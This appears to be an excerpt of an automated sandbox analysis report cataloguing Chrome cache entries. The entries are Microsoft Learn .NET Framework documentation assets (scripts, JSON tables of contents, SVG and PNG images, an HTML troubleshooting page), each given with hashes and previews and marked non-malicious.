Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
